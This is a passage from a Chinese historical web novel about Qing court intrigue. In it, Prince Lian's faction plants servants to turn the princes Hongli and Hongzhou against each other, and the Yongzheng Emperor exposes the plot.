说到后面,福成语气中的不满根本就抑制不住了。 弘时的醉意似乎消散了点:“我原还预备着想要你替我引荐你三伯呢。” “引荐?”福成迟疑,“三爷是有什么事情要求他办吗?” 福成自己想要求三伯办件事是要去走李四儿的路子的,但他不知道弘时若是要求的话是不是也是这样的路子。 “倒也不是什么要紧的大事,”弘时的言辞含糊,“不过是久慕威名,想要见识见识。我知道你自小就极为聪慧,想来这点事情也是难不倒你的。” 被弘时这样捧了两句后,福成心中突然涌起了一股豪气,当即拍着自己胸膛将这件事揽了下来。但好在他还没有完全醉糊涂,提前打了个预防针。 “引荐倒是没什么问题,但若是三爷想要找我三伯办事,那我就不知我三伯会不会应了。” 听见他这句话,弘时自信地笑了声:“我自然不会为难你,只要你能牵了这条线,我日后自然不会亏待你的。” 说到这里时,弘时凑近了福成的耳朵低声说道:“你三伯如今的风光,他日便也会成为你的风光。” 福成瞪大了眼睛,几乎在瞬间就酒醒了。这句话暗示的意思……他有些不敢往下面想了。 得了弘时的这一句话后,福成便将这件事上了心。他自去找了隆科多两回,但都被呵斥了回去,郁郁之下*只得忍着心烦去奉承了李四儿几日。 李四儿最喜欢的就是看这高门大户的佟佳氏的族人来奉承她,使唤了福成几日之后便同意了替他在隆科多面前说话。 千辛万苦将隆科多带来见弘时,福成本来喜滋滋等着弘时给自己这个中间人些好处。但没想到弘时直接在隆科多这里接二连三碰了大钉子,不仅恨上了隆科多,对他这个中间人也没了好脸色。 福成只觉得委屈,又不是他主动要拉弘时和三伯认识的。明明是弘时自己来求了他的,他办了事却没能讨得好。 隆科多心中更是无语,家中蠢人多他也是知道的。但谁能料到自己这从龙之功方才到手不足一年,家中便有人惦记着下一份从龙之功了。 皇上才上位一年,他如今圣眷正浓,疯了才会抛下这些去辅佐一个皇子。只要一心一意跟着皇上,他的权势起码能保持十来年。 所以隆科多不仅没有接茬,还将弘时找过他的事情暗示了一下雍正。这父子俩的事情他不清楚,便也不便明说,只需暗示就足矣。 雍正知道这件事后,不动声色地在弘时身侧派了更多些的人,弘时院中的人也慢慢替换成了他的人。并未直接发作,而是想要看看弘时下一步打算做什么。 “隆科多,马齐,李卫,张廷玉……”雍正听着下面人的汇报,将这些名字在嘴里过了一遍冷笑,“除了年羹尧,他还真是跑了个遍啊。” 粘杆处前来汇报的人听着雍正的语气不敢抬头,皇上的家事他们是一点也不想掺和。 雍正微微闭了闭眼,和弘时想要夺嫡这件事情相比,还是这个儿子的愚蠢让他更为破防。竟然大剌剌地去拉拢自己倚重的重臣,他难不成不知道这些人在自己这个皇上面前受重用就根本没必要去烧他这个皇子的热灶。 一般而言,是要皇上在年岁大了,或者身体明显不行了,这些受到皇上倚重的大臣才会想法子延续自己的权势。甚至从某些方面来说,他们是最希望上面坐着的这位身体健康长命百岁的人。 “不要惊动他,”雍正的语气平缓了下来,“看看他接下来还会做些什么。” 这个儿子已经十八九岁了,甚至曾经已经有过一个孩子了,却还是这样蠢笨的样子。雍正想起现在前朝的一堆事情决定先给弘时一个机会,倘若就此收手那就当这件事没发生过,若还变本加厉等他闲下来便好好整治这个儿子。 弘时这样行事也是廉亲王没有想到的,他最多以为弘时碰上两个钉子,然后他便悄悄遣两个人在他耳边吹一吹风,便知道要过来求他这个素来温和的八叔了。但令他没想到的是,这个蠢货竟然能将老四的亲信都拉拢一遍。 知道这个消息的时候,廉亲王将自己关在书房整整两日。他始终想不明白,老四那样精明的人,为何长子能蠢得出奇。 想要拉拢老四的亲信,他这个儿子想到的不是威逼利诱,而是直接直愣愣上去拉拢。他有十几个兄弟,斗了这么多年,就是最蠢笨的老十都不会出这样计策。 “蠢才好呢,”九贝子听到这话,当即大笑出声,“只有蠢,日后上位了咱们才好控制啊。只要哄两句就好了,若是聪明的,那才难办呢。” 老四已经上位了,他们的目标也从想要八哥或者十四当皇帝,变成了扶老四的儿子上位后让八哥当个摄政王。 大清朝不是没有这个先例的,虽说多尔衮后面的结局不大好,但谁又能否认他摄政时的风光呢?更何况多尔衮后来结局不好,一半是因为世祖有个聪明的额娘,但瞧着这位大侄子的额娘齐妃可和聪明沾不上边。 另一半则是因为世祖自己聪明,而这个大侄子更是和聪明没有什么关系了。 如今已经被革了敦郡王爵位的老十面色阴沉,他赞同地点了点头:“蠢笨倒是也不全是坏处。”、 “可如今蠢成这样子,”九贝子皱眉,“想来如今老四必然在他这位长子的身边安插了人手,这可不利于咱们接近他啊。” “本也是打算等他碰钉子后出现的,”廉亲王难得地沉了脸,“现在倒是不便现身了。” 廉亲王福晋一直在一旁安静地听着,听到这里突然笑道:“既然不便在弘时面前现身,不如暂且换一个目标?老四盯弘时盯得紧,也必然想不到咱们会暂时换了目标接触旁人。” “八嫂的意思是?”九贝子的目光望了过来。 廉亲王福晋为人很是聪慧,他们这几个兄弟议事的时候经常在一旁旁听。甚至还出过几次不错的主意,是以老九老十对这位聪敏的八嫂都很是敬重。 “上书房里头的那两个,”廉亲王福晋的唇角微微扬起,“为何不能挑拨一下?” 到时候等老四发现,就知道长子蠢笨,而老四老五又互相攻讦,连一个可用的都翻不出来会是什么样的场景呢?若是能一不小心让四哥气血攻心,那可就太好了。 先帝有二十几个儿子,所以他才能这样无情地圈禁了老大和老二,厌弃了老八。但这位好四哥可只有四个儿子呢,他舍得就这样简简单单地废掉一两个吗? 即便一下子不能让老四气血攻心,可想起这段时间老四对他们的打压,便觉得给老四添点堵也是不错的。 第103章 挑拨 “那两个小子不是自小感情就好吗?”老十思索了片刻后问道,“挑拨有用吗?” 廉亲王福晋的唇边噙着笑意,声音轻快似乎在说什么令她愉快的事情一般:“这再好的感情都是怕比较的,你说这两兄弟都是一个待遇长大,如今一个住在毓庆宫,另一个却住在阿哥所。若是再加上旁边的奴才捧高踩低的,又岂能在心中不生出些怨愤来。” “倘若是这个本就不受看重的受了欺负,你说这心里会不会委屈。而这个本来不知道自己欺负了人的,被告到了御前,又会不会心中存有怨怼呢?只要这心中有了裂痕,这再好的关系也会变差的,兄弟俩都心存芥蒂后其余的便好操作了。” 九贝子的眼睛渐渐亮了起来:“还是八嫂有主意,我额娘在宫里头还有些得用的人,这件事便交给我来办就是。” 宜妃从前颇得康熙的宠爱,一直都是握着协理六宫的权力的。有些人在明处,而有些人则隐于暗处,明处的人在雍正登基后拔除了不少,但这些暗处的人平日里不动用也并不知道就是宜妃手底下的人。 “可是宜额娘如今还住在宁寿宫中,”廉亲王似乎有些担忧地说道,“这件事动用了宜额娘的人,万一被发觉了,岂非是将宜额娘陷入险境。” 九贝子冷笑了一声:“年初五哥便上了好几回折子想要将我额娘接回府中荣养,偏偏老四就是不允。不就是打着拿我额娘威胁我的打算吗,不论怎么说我额娘都是他庶母,难道他还敢冒天下之大不韪苛待长辈吗?” 说到这里,九贝子心中就恨恨的。若是老四早些同意让五哥将额娘接出来荣养,这回自己也不一定就能动用那些人,这件事也是他自己作孽。 “既如此,那你行事当小心些。”廉亲王福晋看着九贝子说道,“这件事就等着九弟的好消息了,倘若能办成,他日八嫂必为你庆功。” 九贝子的唇角勾起了一抹志得意满的笑意:“放心好了,等我办妥就是。” 正在上书房中安安生生跟着先生念书的弘昼很突兀地打了一个喷嚏,吸了吸鼻子后茫然地抬起头四处望了望。 弘历将目光望了过来:“昨儿晚上睡觉的时候蹬被子了?” 他是知道五弟睡觉的时候不喜欢有人在他跟前守夜的,若是其他人自有守夜的人来盖被子,但弘昼显然是没有的。 “没有啊。”弘昼摇头,“我今儿起来的时候被子好端端在我身上盖着呢,说不定是谁在念叨我,不知道是弘暾还是弘曈。” 说起来已经很久没有见到他们俩了,还有弘晈和弘暻,想起他们还怪想念的。之前和他们一同在上书房的时候,聊天还有伴儿。现在他们都已经各自回府找先生念书了,也不知道下次见是什么时候。 想到这弘昼哀号一声:“我什么时候才能和三哥一样自由出入宫里啊。” 什么时候才能去外面玩玩,弘昼之前觉得自己一直在雍亲王府和紫禁城之中往返像是在寄宿学校的学生。而现在只在紫禁城待着,夏日的时候能去圆明园逛逛,就宛如家在学校。 “再过个两三年罢。”弘历提笔开始写字说道,“等过两三年汗阿玛也该安排咱们办差了,等办差了说不定要去衙门,那时自然就能自由出入了。” 那还有好久啊,弘昼在心中一算。不过起码有了点盼头,他现在最盼望的是汗阿玛哪日看他们不顺眼了,直接将他分府出去,到时候就天高海阔任凭自己做主了。 不过想来这个时间还有些远,毕竟三哥都十八九岁了还没有开府呢,也不知道等他十八九岁的时候能不能开府。希望可以早一点,若是明年,不,今年就能得到开府这个好消息就好了。 这些事情都还有些遥远,弘昼想了想就抛之脑后了。 下午的骑射结束后,弘昼接过了小周子递过来的用凉水沁过的帕子擦了擦自己脸和额头。 如今虽然天气凉爽了些,但骑射刚结束的时候还是很热的。只是用帕子将汗水擦去依旧热,弘昼发现了若是用湿的帕子擦一下能快速降温。 但弘历不大认同这个行为,他觉得这样有些伤身体。 不过弘昼热起来可不管这些,他不大耐热,一切都以舒服为主。 见弘昼又在用湿帕子擦脸,弘历无奈地摇了摇头:“我先回去了,我还有两篇策论没写呢。” 这两篇策论弘昼也是要写的,不过他写这些东西一贯敷衍,只要凑出来字数就行。有时候他甚至会恍惚一下,就像是前世凑八百字作文。 相比之下,弘历对策论就重视多了。他知道这些策论最后都是要呈到汗阿玛的案前的,所以每篇策论都精益求精,力求能让汗阿玛看到他在这个角度最独到的见解。 弘昼胡乱点着头,忙忙地从旁边人手中接过水解渴。 等他身上的热气终于散去了些后,才不紧不慢地往阿哥所走去。他的这两篇策论已经想好怎么凑字数了,等回去用过晚膳后便可以趁着天还没黑写出来。 这两篇策论是要这月底交的,他现在写完了等休沐的时候就能全心全意躺平了。他是真不想等休息的时候还要从床上爬起来写策论,想想就很毁假期的心情。 等回到院子后,弘昼先去沐浴更衣,洗漱完后满怀期待地等着自己的晚膳送上来。变成皇子后弘昼最高兴的事情之一就是他每顿饭又多了几个菜,而且送过来的菜都很是用心,几乎一个月不重样地轮流换。 每天期待晚膳是什么菜色,已经成了弘昼支撑自己去上书房的动力了。 但等弘昼沐浴出来,用棉布细细擦拭着自己的头发时,却看见了面色带着怒气的琰辰。 琰辰是弘昼成为皇子后内务府送来的小太监之一,因为机灵懂事被弘昼提到了身边。小周子平时跟着他外出走动,而琰辰就在院中管事,勉强能算的是他这个小院的管事之一。 “这是怎么了?”弘昼看着他的脸色奇道,“你方才不是说去内务府领份例去了吗?” 小周子在一旁的桌子上,将食盒中的菜色都一一摆了出来。 “主子,”琰辰忍了忍,还是没忍住,怒气冲冲说道,“奴才知道主子一向不想和旁人起冲突,可毓庆宫中实在是欺人太甚了。” 弘昼差点以为自己是听错了,迷惑地皱着眉奇道:“你说谁欺人太甚,毓庆宫?” 若是琰辰说的是三阿哥宫中欺人太甚,弘昼都还能理解。可是毓庆宫欺人太甚是什么意思,四哥什么时候欺负他了,他怎么不知道。 琰辰说道:“前儿去领茶叶的份例,可上好的君山毛尖和龙井都被毓庆宫中领走了。留给咱们院中的就只有些去岁的陈茶,这也就罢了,昨儿去领贡橙,本来是所有阿哥都要各自领一筐的,但内务府的人推说没分派好,叫今儿去领,但今儿去说是咱们那一筐已经被毓庆宫的领了。” 看着弘昼错愕的神情,琰辰很是委屈:“主子,一点茶叶和贡橙倒是不打紧,可内务府还有其余的地方都看见咱们是好欺负的了。只怕这一回若咱们轻轻放下,日后便是不论哪里都能欺到咱们头上了。” 弘昼看着琰辰那委屈巴巴的神情,敏感地察觉到里面有什么东西不对。 四哥是不可能为了点茶叶和贡橙来专门抢他的东西的,那茶叶每年份例就不少,送过来只有喝不完放成陈茶的,哪有不够喝的,完全没有必要还抢些回去放着。而那贡橙就更不可能了,四哥从小就不爱吃橙子,他喜欢的是葡萄这一类的水果。 “你待如何?”弘昼看着琰辰,试探性地问道。 琰辰听见弘昼的发问,当即说道:“自然是去内务府将那些狗奴才都教训一顿,咱们的东西凭什么给了旁人。或者直接去皇上面前告一回状,同是皇子,四阿哥凭什么这么欺负人。” 一旁正在摆东西的小周子手一顿,很是诧异地看向了琰辰。他一直跟在主子身边,自然知道主子和四阿哥的关系有多好,又怎么可能为了这点东西去皇上的面前告状。 弘昼意味深长地看了琰辰两眼,没有回他的话,而是直接到了桌前用膳。 这位小主子的脾气很好,琰辰过来伺候了快一年了也摸索出了这位主子的脾性。轻易不会为难下人,之前有洒扫的小宫女将他那百宝阁上面的珍贵瓷器打碎了也没生气,若是在旁的宫中这样的大错即便不送到慎刑司,也是要退回内务府的。 “主子,咱们这回被欺负不论是内务府还是其余地方都在看您的反应。若是您好欺负,日后谁都敢来踩上一脚。”琰辰说了两句,瞥见弘昼略有点不悦的神情后又闭了嘴。 弘昼想着明日去上书房的时候可以问问四哥,是不是他手底下的人自作主张。他自然是很相信四哥不会专门来和他抢东西的,可毓庆宫那么多人,四哥也不一定能将每个人都管得妥帖。 这也不是什么大事,和四哥告一状就是了。 但令弘昼没有想到的是,他到了上书房后本来是预备着中午用午膳的时候和四哥问问的。但还没等到用午膳的时候就听见了养心殿的传召,同时传召了他们两人。 竟然是因为弘昼院中的人去御前告状了。 第104章 驭下之术 “我院中的人去告御状?”弘昼看着前来传召的小太监,语气中带着不可思议,“是谁?” 那小太监低着脑袋,声音恭敬:“奴才不知。” 弘昼和弘历互相对视了一眼,弘历开口:“走吧,先过去看看是什么情况。” 在路上的时候弘昼想到了昨日琰辰在自己耳边说的四哥手底下人强了自己份例的事情,当即皱着眉说了,又问道:“不会是因为这事吧?” 这让弘昼很是不悦,他既然已经说了这件事他知道了,自然会自己处理。加之昨日琰辰那略有些挑事的语气,让他心中有了种不好的感觉。这个琰辰不会是后面有主子的吧,之前在他身边放了快一年了都没看出来。 弘历听见弘昼的话一惊:“还发生了这样的事情,你怎么不早与我说?” 什么茶叶什么贡橙的,弘历并不是个贪恋口腹之欲的人。若是弘昼的这些份例不够了,他都能将自己的拿出来给五弟,根本不可能专门去抢他的。别的不说,他们之间这样亲近的关系,他又怎么可能做出专门枪弘昼东西的举动。 “这多半是手底下人自作主张,”弘历看着弘昼说道,“我这里没有听说这回事,今日回去后我必要好好整顿一下。” “我知道的,”弘昼安抚道,“我肯定明白你不会这样做的,只是四哥若是下面人自作主张做出这样的事情,那你可一定要好好管了。” 上一任太子被废的理由之一就是管不住手底下的人,他的奶父在内务府敛财,手底下的拥趸又在全国各地敛财。在康熙还对他存有偏爱的时候能将这些事情都视而不见,而在康熙开始厌恶他后,这些就成了不可饶恕的罪过了。 弘历见弘昼神情不似作伪,勉强算放下心来,只要五弟不误会他就行了。但马上他就警惕了起来,弘昼这里被抢了东西,还是他宫里抢的,但这抢的东西却没在他手中来。 况且他宫中略亲近些的都知道他和弘昼的关系,又怎么可能专门去抢弘昼的份例呢?弘历这样想着,微微抿了抿唇,这次或许是一次局。只是不知道这个局是想要挑拨他和五弟的关系,还是想要汗阿玛对他不喜了。 两兄弟来到养心殿后,通报了一声就踏入了殿内。 殿内跪了一个弘昼很熟悉的人,琰辰趴跪在了地上,身上的衣裳有点凌乱,似乎是刚才经历了一番拉扯。 琰辰旁边还跪了一个,这个人弘昼看着有点眼熟但叫不出来名字。似乎是在毓庆宫见过的,他少于去毓庆宫,毕竟阿哥所和毓庆宫隔得有些远,弘昼和弘历又每日都能在上书房见到没必要专门去毓庆宫找人,是以不大叫得出那人的名字。 收回目光后,弘昼和弘历一起行礼问安。 雍正看着下面两个行礼的少年,靠在椅子上仔仔细细打量着他们。 半晌,弘昼才听见上面传来了一声叫起。 “可知叫你们来有何事?”雍正的声音有点疲惫,他已经连续好几日熬夜批折子了,摊丁入亩这个政策实施下去很困难。 这个政策减去了丁税,是要根据持有的土地来交税,这样大地主自然要交比之前多得多的钱。而这些大地主很多是满人入关时圈地的那批人的后代,集合起来并不算是一股小势力,纠集起来阻止摊丁入亩还是给他找了不少的麻烦。 这几日本来就没有休息好,听见这两个孩子的奴才过来告状又是些芝麻大点的小事,便更觉得脑袋疼。 “儿臣不知,”弘昼很干脆地摇了摇头,“听刚刚那个公公说,是儿臣院中的人来告御状,但为什么告,告什么事情儿臣不知。” “儿臣亦不知。”弘历也跟着说道。 雍正的目光扫过弘历和弘昼,见这两个儿子似乎并未受到什么影响的样子,心里已经有些明了了。 “你们俩将方才的话再说一遍。”雍正示意下面跪着的两人。 琰辰这才抬起头来,望向了弘昼的眼神里满是哀求和不满:“昨儿和主子禀报了,本是想着等主子处理的。可今儿奴才又去内务府领东西,可这个章夏不仅不让奴才领,反而羞辱奴才,倘若只是羞辱奴才也就罢了,竟然,竟然……” 说到这里的时候琰辰似乎有些不敢说出来,半晌才咬牙说道:“竟然还羞辱奴才的主子,奴才听不得这样的话,才与他扭打在一起的。结果他带着人将奴才打了,奴才气不过才过来告状的。” 琰辰抬头后,弘昼看到了他的脸。脸上明显的红了一片,甚至能看出一个清晰的巴掌印子,明显得让人一看就知道他这张脸经历了些什么。 跪在琰辰旁边的人怯生生地抬起了头,似乎是想要解释什么,最后只是重重磕了一个极为响亮的头:“这都是奴才一人的主意,与四阿哥并无任何干系,还请皇上只怪罪奴才一人。” “你既说是你一人的主意,”雍正问道,“那你为何要截了五阿哥的份例?” 那人的唇角颤抖了一下,说道:“因,因为上回五阿哥来毓庆宫的时候,没有将奴才放在眼里。奴才不过不小心将茶水泼到了他身上,他竟然和主子告状,等他走后四阿哥就将奴才从内室调到了外面。本来奴才是贴身伺候的,却变成了做粗活的杂役,不忿之下才做出这种蠢事,与四阿哥一点关系都没有!” 连续两次强调与四阿哥没有关系,让雍正的眉头微微挑起。这样浅显的挑拨他还是看得出来的,这个奴才在强调弘历,甚至是在让旁人去认为是弘历指使的。 可他的用意在何。 雍正的目光又掠过了弘昼那一脸惊奇的表情,还有弘历那皱着眉的神情。 弘昼仔细地想了想,好像确实是有自己被泼茶水这一回事。那还是第一次去毓庆宫来着,他当时被泼了茶水有点不开心直接回院子换衣裳去了。只记得当时泼他的是个小太监,但不记得是不是眼前这个人了。 至于看不起那真是无稽之谈了,他都不认识这人,话都没说过几句,又谈何看不起。 “汗阿玛,”弘历上前一步跪下说道,“这都是儿子御下不严之过,才令五弟受了委屈,请汗阿玛责罚。” 弘历很清楚,这个时候他若是疯狂辩解反而落了下乘。先将这件事揽下认错,余下的等他细细去查这个奴才底细就是了。 他之前将这个奴才赶出殿内,主要是举得他笨手笨脚地泼了五弟一身的茶水。虽说弘昼为人宽宏并不在意,但他却不想再殿内留下这么笨的人,等下回再犯些什么错让他心烦。 雍正坐直的身子微微放松了些:“弘历只是认错,不辩解么?” “汗阿玛,这件事同四哥没什么关系吧。”弘昼开口,“既然并非四哥指使他做的,就没必要罚四哥了吧。” 弘历也微微抬头,他知道汗阿玛这个时候是不需要辩解的。但问了这样一句话,他须得好好答。 但还没等弘历说话,雍正又开口了,不过这次是对着苏培盛:“将他们俩带到慎刑司去,三日内我要他们吐出背后的人是谁。若是慎刑司办不到,那就交给粘杆处去办。” “奴才明白。”苏培盛很快地应了一声,马上便叫人将琰辰还有另一人拖走。 “主子,主子救我,”琰辰显得很是惊慌,“主子我知道错了,日后定不会在外给您惹祸了,主子救救奴才。” 苏培盛微微一皱眉,旁边了看就有察言观色的人上前堵住了琰辰的嘴。让他只能发出了闷闷的声响,很快这两日就被带走了,在雍正的一个眼神示意之下,其余伺候的人也很乖觉地退了出去。 等殿内空了下来,只剩下他们父子三人后雍正才缓缓开口:“弘历起来吧。” “儿臣有错。”弘历依旧跪着没起,“请汗阿玛责罚。” 雍正冷冷地一个视线扫过去,不过片刻弘历便抵挡不住了,乖乖从地上站了起来。 “可看出了什么?”雍正问道。 “这个奴才多半是外面安插到儿臣身边的人,”弘历答道,“那个琰辰多半也是安插到五弟身边的人。” 弘昼隐隐也猜到了琰辰是别人的人,昨日琰辰的表现实在有些不对。况且在他已经说过会处理的情况下,第二日和四哥的人打架就很奇怪了,更奇怪的是他竟然有这个本事来告御状。 要知道乾清宫周围布满了侍卫,乾清宫到养心殿这个距离更是五步一人地把守着。这个琰辰之前从未替他传过话,第一次来竟然就能直愣愣摸到养心殿这里,甚至能到汗阿玛的跟前来。 这几乎是不可能的,因为即便是弘昼当真有什么事情要派人去养心殿禀报,也是要拿着他院中的对牌去的。而琰辰没有对牌,还能真闯到汗阿玛面前来,那是相当的有本事了。 “还不算太蠢,”雍正嫌弃,“人安插到你们身边近一年了,竟然一直未察觉吗?” 弘历张了张嘴没有说话,弘昼有点委屈,这都是内务府送过来的,谁知道竟然会出问题啊。 似乎是察觉到了弘昼的想法,雍正冷笑出声:“倘若本事不到位,即便是身家清白的人送到你们身边,也是容易被收买的。你们竟全无一点驭下之术,特别是弘昼,你竟还盼着早日出宫开府。若是叫你开府了,恐怕王府中不仅没有规矩,还会被安插的人漏成筛子。” 第105章 整顿 汗阿玛开始训人了,弘昼和弘历都低下了头。 雍正接连骂了半个时辰,将弘历训得满面通红,而弘昼都开始犯困的时候才勉强住嘴。 将旁边的茶盏端过来喝了一口后,雍正表示他们可以滚了。这件事接下来就交给他处理,顺便警告了一下弘历和弘昼,再不好好排查周边人,下回再闹出这样的事情来受罚的就是他们俩了。 弘历臊眉耷眼地从养心殿中走了出来,他这两年间已经很少被汗阿玛骂了。想今天这样的责骂,之前几年都没有过,像这样被骂了一次,他只觉得整个人都热了起来。心里充满了羞愧,若是让这个安插过来的人得逞了,他和五弟之间的关系被离间了,岂非是一件亲者痛仇者快的事情。 这被骂了一通,他不仅没有觉得冤枉,还在心中暗暗下定了决心要回去将毓庆宫上下都好好整顿一番。将那些背后有人的都抓出来,至于抓出来后是送去慎刑司还是放去不重要的位置看着,那就要根据具体情况来决定了。 相比于弘历,弘昼就没有什么羞愧的感觉了。当然,他也想着要回去将自己院中的人整理一下。他的院子里可以有不聪明的,也可以有平时爱偷点小懒的,但是决不能有想要算计他的。 他并不是什么绝顶聪明之人,这一次不算什么大事也就罢了。若是下次有人想要算计他一次大的呢,虽然他自信汗阿玛并不会对他太无情,但到底大伯和二伯的例子还摆着呢,那两位还被圈禁着呢。 要知道圈禁的地方并不大,不仅大伯二伯住在那,他们一家子都住在那。只有看儿女成年后能不能获得赦免,若是没有人在皇上耳边提一嘴,皇上将他们都忘了的话那日子可就难过了。 送东西进去的人若是发觉没有人在意这里头的几位庶人了,就会开始悄悄地小心点克扣一点东西。最开始当然数量不会多,克扣的东西也不敢捡贵重的。但是时日长了之后,胆子被宛如被放进了离家人的家中一样,一点点开始放大。 里面的人出不来,更别提去告御状了,只能悄悄忍了这样的委屈。若是有人敲打了,或者干脆将那贪污之人办了或换了,那是能管好一阵的。但这一阵过去,新上的人又会开始一个轮回。 这些都是弘昼听弘昉偶然间提起过的,但弘昉对这些有点忌讳,轻易不愿提起。所以弘昼也只知道这么多,也了解了圈禁的生活多有不易。 两兄弟从乾清宫分别,弘昼回到了自己院中,将所有人都召集了起来。 看着院中乌泱泱站着的人,弘昼坐在太师椅上,旁边的一个小几上放着一盏茶和一碟子蜜瓜。但弘昼现在可没心情吃水果,他的视线一一扫过那些低眉敛目的人。 这院中的人他基本都能记得名字,但也仅止于此了。除了能进他内室的人外,其余的他每日能见上一面就不错了,更别提了解了。毕竟上书房的念书时间让他在阿哥所根本待不了多长时间,每天回去沐浴用膳后就只想着睡觉了。 “你们在我院中伺候最少也有一年了吧,”弘昼的声音很慢,他似乎是在一边思考一边说道,“我从前也未查过你们背后有没有其他的主子,但今儿有个被送到慎刑司了,也让我不得不来查一查了。” 院中一片寂静,只有几个人在互相看了看脸色。 被送去慎刑司的人,他们多少也知道是谁。毕竟琰辰这几日也经常在院中抱怨四阿哥的毓庆宫抢了主子的份例,说起来的时候咬牙切齿似乎恨不得直接上去和四阿哥撕咬一番。 其中的有些人也是一样的愤怒,他们觉得在五阿哥这里伺候,倘若五阿哥没脸的话,他们这些奴才出去自然也不会有人给面子。但有些就觉得无所谓了,这被抢的是主子的份例,他们这些奴才的份例又没少,何故去为主子担心呢? 反正主子总是饿不着的,即便少点茶叶少几筐果子也不会有什么。 能被送到自己这里背后还有人的应该不多,弘昼心中明白,内务府给他送人,想要在里面塞进去家世清白的人还是需要些功夫和手段的。能塞进来一两个就顶了天了,所以这院中的人大部分是能相信的。 不过该敲打还是要敲打,趁着这一次将敲打的话说了,又将规矩立下了。日后才会更有章程,反正他这院子是不能再出什么别的事了。 弘昼很仔细地看着他们的神色,有的神色茫然,有的惊慌地四处看着。他将神色有异的都记了下来,打算后面查一查。 等了一会后,弘昼又开口:“当然,我知道你们更多的是老实干活的。这些人是不必怕的,待年节我也另有赏赐。但若是背后还有主子的人,那就要当心了,最好把你的狐狸尾巴藏好了,莫要被我抓出来了。” 这话说完,弘昼便示意他们散了。 随即便叫了院中的管事嬷嬷来身边,这细细嘱咐了要将院中的规矩改一下。这些好好做活计的便每月加一吊钱,不好好做活计,当值时闲逛乱逛到处去惹是生非的便要立起来规矩,轻则训斥,重则扣月例银子或者直接*打上两板子。 当然肯定不能是任由掌权的嬷嬷随意责罚,凡是要扣钱或者打板子的事情要两个嬷嬷都确定了才能行事。若是只有一个嬷嬷定了,另一个不同意的就由他来定夺。 又说了些其他的规矩,这些规矩定下后弘昼的小院更加有秩序了些。那几个神情有异的他也派人盯着,果然又抓出了一人。 这边的弘历弘昼在忙着整顿自己院中的事情,那边的廉亲王府上又聚集了几人。 这次的聚会弘旺也参与进来了,他坐在最尾端的位置,心情没有自己想象中的激荡,而是隐隐地担忧。从前瞧见阿玛额娘还有几位叔叔商议事情的时候,他总会想自己究竟什么时候会被阿玛认可,能参与进来。 那时候阿玛还是八贝勒,没有和硕亲王的爵位。但是他们府上处境也没有现在这样的艰难,想起前儿阿玛和九叔被宣进宫罚跪,弘旺心中就恨极了。偏偏让那个睚眦必报的小人得了皇位,现在阿玛和几位叔叔想要做什么都不成。甚至于他们已经和十四叔断了联系许久了,十四叔还被软禁在景陵。 屋内一片寂静,不论是廉亲王还是九贝子都默然无声,甚至廉亲王福晋也是阴着一张脸,神情愤愤不作声。 半晌,还是老十打破了这片寂静。 “咱们的算盘落空了,”老十的声音低沉而又沙哑,隐约还能感觉出几分讥讽,“现在这位好四哥发了狠的找咱们的麻烦,宜额娘的人都被拔得差不多了,咱们现在怎么办?” 九贝子听着就觉得心疼,他额娘自康熙二十年封妃以来便手握协理六宫的权力。这才能在宫里各个地方都安插人手,老四上位的时候就拔除了大多数明面上的,他们能保留这些暗地里的人也是花了大功夫的。 现在因为那两个进了慎刑司的,被拔出萝卜带出泥全清理干净了。之前九贝子还能知道些宫里的事情,现在真是两眼一抹黑,什么都不知道了。 “我已折了人手,”九贝子的声音冷淡,“甚至我额娘都被送到了行宫去,实也不知接下来该如何行事了。” “九弟莫要担忧,”廉亲王终于开口了,“我遣了人去照看宜额娘,必使宜额娘生活无忧。” 九贝子冰冷的神色缓和了些,声音也柔了下来:“多谢八哥了。” 廉亲王嘴上带了点笑意:“你我兄弟之间,不必如此。” 廉亲王福晋微微翻了翻眼皮,觉得很是无语。都什么时候了,还在表演兄弟情深。 “咱们下一步如何?”老十急不可耐地发问了,“老四最近和疯了一样找咱们的麻烦,前儿罚了你们,又宣我明儿进宫,多半是要罚我了。咱们若是再不能压制他的气焰,只怕是要不停地折腾咱们了。” “现在能有什么法子,”九贝子说道,“只能暂且蛰伏了,现在老四没有抓住咱们的大把柄,最多也就是为难罢了。暂且忍忍,让他过了这阵子放松了警惕再说。” 廉亲王也点了头:“最近咱们都忍着些吧,四哥除却折腾人外也不能做什么。毕竟他才登位一年,汗阿玛尸骨未寒,他又岂敢当真将兄弟如何。” “阿玛,”弘旺开口了,“昨日弘时来找儿子了。” 屋内霎时间安静了下来,其余四人的眼神都看向了弘旺,其中九贝子的眼神最为热烈。 “你说弘时来找你了,”最先开口的是老十,“他说什么了?” “莫不是知道咱们能帮他?”九贝子的语气中是压制不住的兴奋。这次损失最多的就是他了,可是若这些人能换来弘时的信任的话,那倒也不算太亏了。 弘旺微微点了头:“他说,想要来府上拜见阿玛。” 廉亲王福晋眼底终于蔓延起了兴奋之色,她似乎已经看见通过弘时痛击老四的样子了。老四啊老四,才生了这几个儿子怎么就管不好了呢。 廉亲王的眼中也逐渐浮现出了笑意,他很自信,只要弘时来他面前摆件,他自有法子让弘时听他的。 “暂且不行,”等了一会后,廉亲王说道,“最近四哥可是看着咱们呢,让他再等等。” 弘旺微微点了点头:“孩儿明白。” 第106章 就让儿臣出宫吧 因为被盯上了,所以廉亲王并没有选择最近让弘时过来相见。而是告诫了九贝子和老十都要先老实待着,静待时机。 雍正打压了他们一段时日后,被罗卜藏丹津叛乱吸引了心神。老八老九他们不管再怎么跳都是内里的问题,可这叛乱是实实在在影响国土的事情。 若是这块地方在自己这里丢了,雍正不敢想史书会将自己记载成什么样子。于是便急命年羹尧接替了之前胤祯的位置为抚远大将军总理军务,率军平乱。 一边要应付着摊丁入亩导致的地主们的反扑,一边要顾念着青海的战事。雍正不仅忙得没时间去后宫,甚至都没时间睡觉了,嘴边长了两个极为显眼的燎泡,心情也变得糟糕极了。 之前雍正虽然也不是什么极为宽仁的主子,难伺候是真的,但也并非什么极为残暴之人。可在心情受到影响的情况下,养心殿内伺候的人都夹起了尾巴做人。光着三四日内,就有整整两个小太监被打板子了,要知道之前一个月都不一定有一个。 这件事对弘昼的影响倒是不算大,雍正没空理会他了,他便只能按照之前的情况上朝和上书房两边跑。不过弘昼倒是注意了不要在朝会上打瞌睡了,毕竟汗阿玛现在的心情实在不好,若是真将他拖出去打板子就太丢脸了。 特别是他现在能见到汗阿玛的机会只有在上朝,要是在这里因为犯困被拖出去打板子,那弘昼明日就要在京城声名远扬了。不过传的可就不是什么好名声了,多半几年后都会有人提起这桩笑料。 所以为了避免这样丢脸的情况,弘昼努力让自己早朝的时候是清醒。就算是实在有困意,也要等到回上书房之后再说。 